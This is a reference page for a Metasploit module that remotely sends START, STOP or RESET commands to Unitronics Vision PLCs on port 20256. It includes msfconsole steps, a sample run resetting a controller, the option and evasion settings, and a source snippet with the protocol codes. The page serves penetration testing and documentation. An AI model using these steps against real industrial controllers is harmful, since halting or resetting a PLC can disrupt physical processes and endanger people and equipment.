Unitronics PCOM remote START/STOP/RESET command - Metasploit


This page contains detailed information about how to use the auxiliary/admin/scada/pcom_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Unitronics PCOM remote START/STOP/RESET command
Module: auxiliary/admin/scada/pcom_command
Source code: modules/auxiliary/admin/scada/pcom_command.rb
Disclosure date: -
Last modification time: 2021-01-29 16:19:13 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 20256
List of CVEs: -

Unitronics Vision PLCs allow remote administrative functions to control the PLC using authenticated PCOM commands. This module supports START, STOP and RESET operations.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/scada/pcom_command
msf auxiliary(pcom_command) > show targets
    ... a list of targets ...
msf auxiliary(pcom_command) > set TARGET target-id
msf auxiliary(pcom_command) > show options
    ... show and set options ...
msf auxiliary(pcom_command) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Unitronics Vision PLCs

Verification Steps


  1. Do: use auxiliary/admin/scada/pcom_command
  2. Do: set RHOST=IP where IP is the IP address of the target
  3. Do: run to send PCOM command

## Scenarios

msf5 > use auxiliary/admin/scada/pcom_command
msf5 auxiliary(admin/scada/pcom_command) > show options

Module options (auxiliary/admin/scada/pcom_command):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   MODE    RESET            yes       PLC command (Accepted: START, STOP, RESET)
   RHOST                    yes       The target address
   RPORT   20256            yes       The target port (TCP)
   UNITID  0                no        Unit ID (0 - 127)

msf5 auxiliary(admin/scada/pcom_command) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf5 auxiliary(admin/scada/pcom_command) > run

[*] 192.168.1.1:20256 - Sending RESET command
[*] 192.168.1.1:20256 - Command accepted
[*] Auxiliary module execution completed
msf5 auxiliary(admin/scada/pcom_command) >

Go back to menu.

Msfconsole Usage


Here is how the admin/scada/pcom_command auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/pcom_command

msf6 auxiliary(admin/scada/pcom_command) > show info

       Name: Unitronics PCOM remote START/STOP/RESET command
     Module: auxiliary/admin/scada/pcom_command
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Luis Rosa <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  MODE    RESET            yes       PLC command (Accepted: START, STOP, RESET)
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   20256            yes       The target port (TCP)
  UNITID  0                no        Unit ID (0 - 127)

Description:
  Unitronics Vision PLCs allow remote administrative functions to 
  control the PLC using authenticated PCOM commands. This module 
  supports START, STOP and RESET operations.

References:
  https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf

Module Options


This is a complete list of options available in the admin/scada/pcom_command auxiliary module:

msf6 auxiliary(admin/scada/pcom_command) > show options

Module options (auxiliary/admin/scada/pcom_command):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   MODE    RESET            yes       PLC command (Accepted: START, STOP, RESET)
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   20256            yes       The target port (TCP)
   UNITID  0                no        Unit ID (0 - 127)

Advanced Options


Here is a complete list of advanced options supported by the admin/scada/pcom_command auxiliary module:

msf6 auxiliary(admin/scada/pcom_command) > show advanced

Module advanced options (auxiliary/admin/scada/pcom_command):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/scada/pcom_command module can do:

msf6 auxiliary(admin/scada/pcom_command) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/scada/pcom_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/pcom_command) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unknown MODE


Here is a relevant code snippet related to the "Unknown MODE" error message:

77:	      ascii_code = "\x43\x43\x53" # CCS
78:	    when 'RESET'
79:	      print_status 'Sending RESET command'
80:	      ascii_code = "\x43\x43\x45" # CCE
81:	    else
82:	      print_error "Unknown MODE"
83:	      return
84:	    end
85:	
86:	    sock.put(pcom_ascii_request(ascii_code)) #
87:	    ans = sock.get_once

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Luis Rosa <lmrosa[at]dei.uc.pt>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.